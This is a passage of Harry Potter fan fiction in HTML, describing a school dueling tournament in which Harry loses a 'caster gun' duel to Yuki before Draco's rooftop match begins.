slowly inhaled through his nose again as he repeated the process with his other hand. A light wind blew through the room from the open window, making him shiver slightly. It was getting warmer, but still was a little nippy outside. Still, it was a flawless day for a fight and they all knew they had lucked out. Two weeks ago the Angels had taken on the Hokage and pulled out a nice victory over them. Now it was the Marauder&#8217;s turn. Somewhere in the back of his mind he heard Ron make an uneasy joke about how they should be able to beat the &#8216;girl team&#8217;, and get a nervous chuckle from Draco. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry slid the long bandana across his forehead and tied it in the back with a tight knot. It was time to fight.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p>Hermione took &nbsp;hold of Harry&#8217;s hand when he met up with her and smiled reassuringly up at him. It was the fourth match so far, and their second one to actually be in. The group knew what to expect and nodded to each other as the door in front of them opened. The crowd had only gotten bigger since their first match. Hogsmeade had closed its shops early today and were gladly responding to the invitation to watch the tournament. At least five majour newspapers had sent representatives to Hogwarts, and each had been given a special seat in a News section of the crowd. </p>\n\n<p>&nbsp;</p>\n\n<p>The protective fields around Hogwarts had been increased more than ten fold. Each person allowed in was scanned by a professor to make sure no dark mark was detected on them. There were no chances being taken with the safety of the crowd. So far Voldemort hadn&#8217;t attacked while there was a tournament match, and Dumbledore made sure that he never did. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry heard his name being called and stepped out onto the field to meet his team mates. The crowd went berserk when he made his appearance. The boy-who-lived and publicly fought with Voldemort was about to test his skills against other people his age. Although both Harry and the students used to seeing him knew that he wasn&#8217;t nearly as skilled as other Hogwarts students, the general public didn&#8217;t care. All they thought about was that <i>Harry Potter</i> was going to duel.</p>\n\n<p>&nbsp;</p>\n\n<p>And it served to irk him greatly.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron looked across the field and stone arena as the other door opened. Although far away, he could tell who was coming out before the announcer said their name. They had brought the Marauder sunshades with them from the start this time so they wouldn&#8217;t have to summon them from the castle like last time. Lee Jordan was once again doing the announcements with Remus Lupin. He was told that Lee had been given a manual of rules and specifics and given the position as an official speaker instead of a guest. Of course if Lee Jordan was somewhere, Fred and George wouldn&#8217;t be far behind. If the twins went to a grand event, you could be sure the entire Weasley clan was with them. Tonight was no exception. The large banner held by several people was once again hanging from the stands. It read: The Marauders! Harry Potter, Hermione Granger, Ron &amp; Ginny Weasley, Draco Malfoy!&nbsp; They had added his name in after reading Ron&#8217;s interview saying he was being tolerable and actually helpful. After seeing him work with Harry, the clan decided to give the boy a second chance as well.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Angels also won their last match,&#8221; Lee was saying as they walked onto the field. &#8220;The group consists of Cho, Nyssa, Julie, Yuki, and last but not least Samantha! Don&#8217;t let their good looks fool you folks; these lovely ladies are as sexy as they are dangerous! Don&#8217;t you agree, professor?&#8221; Lee turned to Lupin, giving him a wide grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Er, nice way of putting it, Lee,&#8221; Lupin covered nicely. &#8220;But you are right about their skills. Both teams here tonight won their last match. Who will win tonight? Only time will tel1.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grinned nervously across the field at Cho, who was waving at him. Hermione, seeing this, wrapped both her arms around Harry&#8217;s right one. Cho blinked at the possessive gesture, but laughed when Hermione stuck her tongue out at her when Harry&#8217;s attention was elsewhere. Hermione giggled to herself and simply gave Harry an innocent look when he asked her what was so funny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tonight&#8217;s first match has been pre-arranged for added challenge and entertainment.&#8221; Professor Lupin commented as the cheers died down and people started cheering for the dueling to begin. &#8220;First match will be a Muggle use only fight!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s right,&#8221; Lee added, looking at a piece of parchment in front of him. &#8220;Harry will face Yuki in a grassy field.&#8221; The arena changed to a grassy field with trees scattered around at random places. Also there were quite a few large rocks that were big enough to hide behind. &#8220;The rules are simple. Each contestant will be given a caster gun.&#8221; Two people started to walk to the teams and split up. They gave both Harry and Yuki what looked to be a revolver. &#8220;For those of you not familiar with a caster gun, Professor Lupin will explain. Professor?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you, Lee,&#8221; He began. &#8220;A caster gun is a special gun molded after a Muggle revolver. Instead of using a substance known as &#8216;gun powder&#8217; to fire a &#8216;bullet&#8217;, caster guns use a small magical casing to hold magical powder that shoots out a spell when activated. Each gun can hold six of these shells, and when activated, will draw magical power from the user.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Much more stressing than a normal spell through a wand,&#8221; Lee chimed in.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, I must agree. The contestants are given six reloads. They are four sets of energy blast, and a single set of fire and ice. Each set contains six shots.&#8221; On the field, Harry was looking at the bullets and the gun. &#8220;There will be no wands or any other source of magic other than the caster guns. Magical artifacts are still allowed to be worn by the participant as usual. Match is over when a player gives up. Magical walls surround the arena so no stray shots will hit the audience. Also, they will prevent rings out. Yes, the only way to lose is to give up. &#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How do you use that thing?&#8221; Ron asked, looking the caster over. &#8220;Do you say a spell while pointing it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re holding it wrong,&#8221; Hermione said, taking it from him. &#8220;You hold it like this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You don&#8217;t need a gun.&#8221; Harry grinned, taking it from her. &#8220;No wands, huh?&#8221; Harry took off his arm guard and rubbed the skin there, feeling weird with the bracer not there. &#8220;Hold it for me Ron?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sure thing.&#8221; Ron caught it as it was tossed to him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Six reloads,&#8221; Harry mused, looking at the gun and the eight sets of bullets next to him. Lee and Lupin were further describing the caster guns and shells, but he was more concerned on strategy since he already knew how to hold and fire a gun. &#8220;Gun&#8217;s already loaded. That means seven sets of six bullets. Forty-two shots.&#8221; Harry put the spare bullets into his pockets and made sure to separate the special ones. &#8220;Muggle methods. Heh, I wonder who thought of this kind of match.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione patted him on the head, standing on her tip toes. &#8220;Harry, love, being a successful wizard, one must know both wizard and Muggle ways. A wizard would die just as fast by being shot as a Muggle. But Muggles know what guns are, they know to fear them. A wizard would ignore it and be shot. <i>However</i>, if that wizard, you for example, knew what it was and how it worked; you could charm it not to fire or know to get out of the way.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded and walked up to them. &#8220;A few months ago, I would have called you an idiot after hearing that&#8230; but I know that it&#8217;s true. Muggles can&#8217;t use magic, so they defend themselves in different ways. Some of them are just as dangerous as our killing curses, and <i>they</i> can go to any convenient store and buy the killing instruments at their leisure. We are strictly forbidden to use certain spells&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron smirked. &#8220;Malfoy, you&#8217;re getting smarter and smarter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Ginny scolded, grabbing the back of his sleeveless jacket and pulling on him. &#8220;Get up there already! They&#8217;re waiting on you!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oops!&#8221; Harry turned and grabbed the sunshades from the redhead as he passed. After muttering a fast charm, he gave a quick wave and lopsided smile to his friends and took the stairs to the stage by twos. At the top, he stepped onto the grass and heard it crunch softly below him. The field was also magically charmed to be warm like a summer&#8217;s day as well. The two duelists looked at each other across the large field. Harry gave his trademark grin and slid on his glasses. The view was completely normal, as he had them set on a &#8216;single person mode&#8217; which he liked to call it. In this setting, they acted as normal sunglasses.&nbsp; There was only one small tweak, however. At the lower left hand of the glasses, there was a number that read &#8216;42. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;READY!? FIGHT!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry ran forward and shot three times, making Yuki jump to the side and take cover behind a tree. The number on Harry&#8217;s glasses now read &#8216;39&#8217; and he was glad it worked. Now he wouldn&#8217;t have to worry about counting his bullets. His mind came back to the match as a yellow blast of energy shot too close to his head that he would have liked. </p>\n\n<p>&nbsp;</p>\n\n<p>Taking cover behind a rock, Harry leaned over the side of it near the bottom to try and find his opponent. Harry didn&#8217;t think the Marauder&#8217;s Map in the sunglasses would be of any use on an open field like this but rather knew that it would have hindered his vision more than anything else. He would need to be able to see clearly if he was to aim using a Muggle like gun. </p>\n\n<p>&nbsp;</p>\n\n<p>The ground next to his head suddenly exploded, leaving a sizable hole in the ground. Harry quickly retracted his head and placed his back against the rock, breathing heavily. &#8220;What the hell <i>is</i> she!?&#8221; He demanded. &#8220;A sharp shooter!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sharp shooter?&#8221; Ron asked, hearing Harry&#8217;s voice clearly thanks to the magic of the arena. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Someone with <i>really</i> good aim,&#8221; Hermione informed him, biting her lip. &#8220;Come on Harry&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Yuki took a deep breath and ran forward, out from behind her shelter. Harry rolled from behind the rock and knelt, holding out his gun with both hands. He shot twice, missing both times. Yuki got to the tree she was going for and hid partway behind it before shooting at Harry four times, grazing his right leg with the last. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s eyes went wide and he pulled himself behind a tree and looked down at his bleeding leg. &#8220;I&#8217;ve been shot&#8230;&#8221; He whispered, looking at the gash. &#8220;Damn that hurts&#8230; the energy blasts are like real bullets&#8230;&#8221; His eyes lit up. &#8220;Real&#8230; real bullets.&#8221; He reached into his pocket and took out a reload. &#8220;Here goes nothing!&#8221; Quickly he moved from the tree and threw the set of bullets over where Yuki was just looking up from a large rock that she moved to after Harry got behind the tree. &#8220;Take this!&#8221; When the bullets were close to her, he let loose the remaining bullet left in his caster gun. They met in air and a loud explosion followed.</p>\n\n<p>&nbsp;</p>\n\n<p>Yuki felt herself being thrown hard to the right and heard her ears ringing loudly with a pestering high pitched sound. She landed harshly on the unforgiving ground and rolled several times before stopping. Yuki grit her teeth and made her Sorceress training shine through by rolling onto her stomach and clasping her gun with both hands as she lay on the grass. She shot at Harry four times as he ran to another large rock for shelter. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry groaned as he leaned against the rock and slid red bullets into his caster. &#8220;I was hoping for a quick win.&#8221; He breathed to himself as he loaded. &#8220;Underestimated her. Better not take any chances.&#8221; A shot hit the top of the rock, clipping off several small pieces of it and ricocheting off. &#8220;From that angle, she should beeeeeee&#8230;&#8230; THERE!&#8221; Harry jumped up and aimed at the tree where he thought she was hiding behind. </p>\n\n<p>&nbsp;</p>\n\n<p>When the trigger was pulled, Harry felt a large wave rush over his body. From the end of his gun he saw a massive fireball fly forward and crash into the tree, setting it ablaze. Yuki, however, was at the tree next to it and shot twice at him, making him take cover. The tree stopped burning a moment later and looked as if it was never touched in the first place. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>She&#8217;s so fast&#8230;</i>&#8217; Harry thought, gasping for air. The shot sapped a respectable chunk of his energy. &#8216;<i>Without being able to cast the wind charm to pick up my speed, I can&#8217;t match her.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Don&#8217;t take any chances,&#8221;</i> Celestial whispered to him. &#8220;<i>Here is some of my power, go for it.</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry felt a sudden surge of dragon energy. &#8220;Oh <i>wow</i>!&#8221; Fully energized, Harry stood and held out his gun at arm&#8217;s length. &#8220;Dodge this!&#8221; He shot the gun five times, blasting away two trees and setting most of the ground on fire. When the last bullet was out, Harry let out a confident laugh. &#8220;Hah. No way could she avoid that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A monotonous voice came from his side. &#8220;Think again.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wha!?&#8221; He tried to turn, but found a blast shoot his hand, making his gun fly away. &#8220;No!&#8221; He leaped backwards and avoided another shot and, somehow, managed to get hit by the next.&nbsp; She had fired six times and ran to reload.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Harry? Are you okay!?</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My side&#8230;&#8221; he wheezed out, gripping himself just below the ribs. &#8220;I got hit badly.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Let me see</i>.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gasped for air and slowly brought his hand from his side to look at it. &#8220;Oh god&#8230;&#8221; he gasped steadily, looking at the blood on his hand and feeling sick.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry Potter, do you give up?&#8221; Lupin&#8217;s voice rang into the area.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No,&#8221; he wheezed out, clutching his side. &#8220;No, I don&#8217;t!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Give me those!&#8221; Hermione squeaked, grabbing the sunshades from Ron and putting them on. She quickly turned the dial on the side and saw a bloody hand on her right side. &#8220;Oh Harry&#8230;&#8221; Suddenly the vision was stripped from her as Ron took the shades from her face. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, you can&#8217;t look. The other team can&#8217;t either, and these carry voice. It would be cheating to use them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But&#8230; but&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron enveloped her in a hug. &#8220;He&#8217;ll be fine, have faith. I do.&#8221; Hermione sniffed against him and nodded silently.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Yuki smiled to herself as she loaded her gun with alternating ice, regular, and fire bullets. &#8220;Harry, Harry, Harry, you&#8217;re way too slow. You can&#8217;t win like that.&#8221; She turned to shoot at the rock, but found that she could see him from the corner of her eye. Quickly changing her aim, she turned and bit back a groan when he picked up his caster gun and hobbled behind a tree. &#8220;Nice, Harry. I didn&#8217;t think you would try and recover your gun without a distraction of some sort&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She aimed her gun at the tree and fired, gasping as her power was sucked into the gun and a fireball came from it. The blast screamed to the tree Harry was at, but was cancelled out by a well placed ice blast from Harry. The shot from the boy was quickly followed by two regular energy blasts and another ice beam. Yuki responded by taking cover behind her rock and letting them all hit her shelter. The stone was now a block of ice, but that didn&#8217;t concern her. She once again moved from her spot and shot again, sending a normal blast, an ice blast, a normal, and a fire. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nice aim.&#8221; Harry said from behind her. She spun on her heels to see him, hunched over and clutching his side, in front of her. He held his gun with one hand and chuckled without humour as he shot six times. Thanks to his wound and one handed aiming, he missed most but landed a few shots that grazed her sides and leg. Yuki shot her last bullet at him, and hit his gun right when he fired the last time. Harry&#8217;s last bullet, ironically, hit her gun as well. Both flew from their hands in different directions.</p>\n\n<p>&nbsp;</p>\n\n<p>The two looked at each other a moment as they caught their breath and recovered from the massive magical drain that the guns brought with them. &#8220;You&#8217;re bleeding.&#8221; Yuki said, looking at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It hurts, doesn&#8217;t it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ready?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He smirked. &#8220;Ah.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>The two of them grit their teeth and dived for the guns next to them. The guns were reclaimed in their master&#8217;s hands at the same time and they slammed the bullet clip into them at the same time. Both turned and aimed. Being so close, Harry raised his hand at the same time Yuki did and both grabbed the revolving chamber of the other&#8217;s gun and held the trigger so it wouldn&#8217;t move.</p>\n\n<p>&nbsp;</p>\n\n<p>The two were in the exact same position; a stalemate in which neither could fire as long as the other wouldn&#8217;t move their hand from the chamber and trigger. Harry looked deeply into Yuki&#8217;s eyes as the guns shook from pressure of hands. Yuki returned his gaze with a fierce determination to prove that she could beat Harry Potter. </p>\n\n<p>&nbsp;</p>\n\n<p>The guns both clicked at the same time as they gave way to the stress. The front of the gun clicked down, as if to be reloaded. The bullets already in the guns burst out from the force of it. </p>\n\n<p>&nbsp;</p>\n\n<p>Both their eyes went wide.</p>\n\n<p>&nbsp;</p>\n\n<p>Simultaneously they let go of the other&#8217;s gun and made a mad grab for the ammo. Each managed to get one single bullet and slam it blindly into the empty chamber. Moving again, they quickly aimed their guns at the other&#8217;s head and pulled the trigger at the same time.</p>\n\n<p>&nbsp;</p>\n\n<p>Click</p>\n\n<p>Click</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s eyes were wide and pupils were dilated from fear as Yuki&#8217;s gun was shaking not an inch from between his eyes. On the other end, Yuki was gasping as Harry&#8217;s gun was the same length from her forehead. The hands not holding the guns were locked together, fighting to try and force the other down. The crowd was deadly silent as they watched them on the light reflecting screen in the sky. </p>\n\n<p>&nbsp;</p>\n\n<p>The duelist were panting and sweating. They stayed like this for almost twenty full seconds, just breathing hard and looking into the other&#8217;s eyes. Then, once more at the same time, each pulled their trigger again.</p>\n\n<p>&nbsp;</p>\n\n<p>Click</p>\n\n<p>Click</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was near blinding panic now. His mouth was open and gasping air so fast he thought he might be sick. Yuki wasn&#8217;t any better off, but once again they took a breath and pulled.</p>\n\n<p>&nbsp;</p>\n\n<p>Click </p>\n\n<p>Click</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gasped in pain and forced down harder on Yuki&#8217;s hand. He succeeded in throwing her a little off balance before they did it again</p>\n\n<p>&nbsp;</p>\n\n<p>Click</p>\n\n<p>BAM!</p>\n\n<p>&nbsp;</p>\n\n<p>Harry screamed in pain as he felt the magical energy bullet sear right through his arm and exit from his back. Yuki fell to the ground and both knew she would have won the match if Harry hadn&#8217;t managed to topple her before she fired. Harry now looked down at her warily and held his gun with a shaking hand. If he could pull the trigger and fire, he would win. Yuki closed her eyes. They both knew a winning shot would end the match and not actually kill the other, but she didn&#8217;t know if it would hurt or not.</p>\n\n<p>&nbsp;</p>\n\n<p>Click</p>\n\n<p>&nbsp;</p>\n\n<p>Yuki&#8217;s eyes snapped open and rolled out of the way as Harry fell to his knees. Quickly, the girl flipped open her gun and grabbed a bullet from the ground. Putting it in, she clicked the gun back up and held it to Harry&#8217;s temple. His gun was on the ground, and he was clutching his side with one hand and his shoulder with the other.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bam.&#8221; She said wearily, drained from the encounter. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I give.&#8221; Harry managed a small smile before falling over unconscious. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry Potter surrenders!&#8221; Lee shouted out into his wand, voice rebounding in the silent quidditch pitch. &#8220;Yuki wins!&#8221; All at once the crowd screamed in applause.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Hermione screamed, running onto the stage as it dissolved from the field. &#8220;Oh sweet Merlin, are you okay?&#8221; Tears were streaming down her face. &#8220;You idiot, it&#8217;s a game, a friendly duel! Why didn&#8217;t you give up?&#8221; She hugged him to her chest, crying. &#8220;You&#8217;re so stupid&#8230; stupid&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny gently took Harry from her and laid him down, looking him over. &#8220;The magical things.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bullets,&#8221; Hermione corrected out of habit, not realizing it.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny rolled her eyes &#8220;Bull- lets,&#8221; she said herself, pronouncing it slightly wrong.&nbsp; &#8220;Seemed to be charmed to make the wound easy to heal.&#8221; She poured some potion onto the wounds. &#8220;He&#8217;ll be fine in a few hours. He&#8217;ll be sore for a while, though.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded to herself and looked up at Ron. He nodded and picked up Harry&#8217;s unconscious figure and carried him off stage, where Draco was waiting, arms crossed. &#8220;He did a good job,&#8221; he said, looking away. Ginny nodded and watched Ron lay Harry down next to the arena. Hermione instantly went and held his hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m next.&#8221; Draco said, walking forward. &#8220;I&#8217;ll get us our first win.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Be careful out there, Draco,&#8221; Ginny told him, looking up. &#8220;And for Merlin&#8217;s sake, if you get hurt as bad as Harry, be smart and give up before you get yourself killed or something.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco smirked and patted her on the head as he walked past. &#8220;No chance in hell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What field will the next pair are fighting in?&#8221; Lee asked as the crowd cheered for the Angels and worried over Harry&#8217;s safety. Currently madam Pomfrey was observing him with Ginny standing to the side. Draco was at the steps, waiting. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Glad you asked.&#8221; Lupin replied in an over excited voice. &#8220;But first, a word on Harry. I&#8217;m getting a message from Poppy as we speak.&#8221; A small owl landed and he took off the note. &#8220;Harry will be fine with a little rest, so don&#8217;t worry.&#8221; A collective sigh of relief was heard even over the cheers of fans. &#8220;Back to the next match,&#8221; He tried to make it sound as if he wasn&#8217;t deathly worried if Harry was okay. &#8220;Draco Malfoy seems to be the Marauder&#8217;s choice. On the Angel&#8217;s side&#8230;. Nyssa!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded at the girl across the ring, and got a nod back. The stage in front of them slowly started shifting and soon rose into the air. Draco titled his head back to look at the buildings slowly rising. &#8220;What in the&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The match will be atop the buildings in an imitation of New York City in America.&#8221; Lupin explained. &#8220;The buildings are ten feet tall, and the arena is charmed to move with them so there is no possible way of a ring out. For those of you who are close to the ground, the light reflection spell has been changed to be cast on the sides of the buildings near the base.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lee nodded and continued where his partner left off. &#8220;Also, each contestant will be charmed to jump incredibly high. To win you must both stay down for a count of ten, be knocked off and hit the ground (don&#8217;t worry, it won&#8217;t hurt at all), or lose your wand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;READY!? 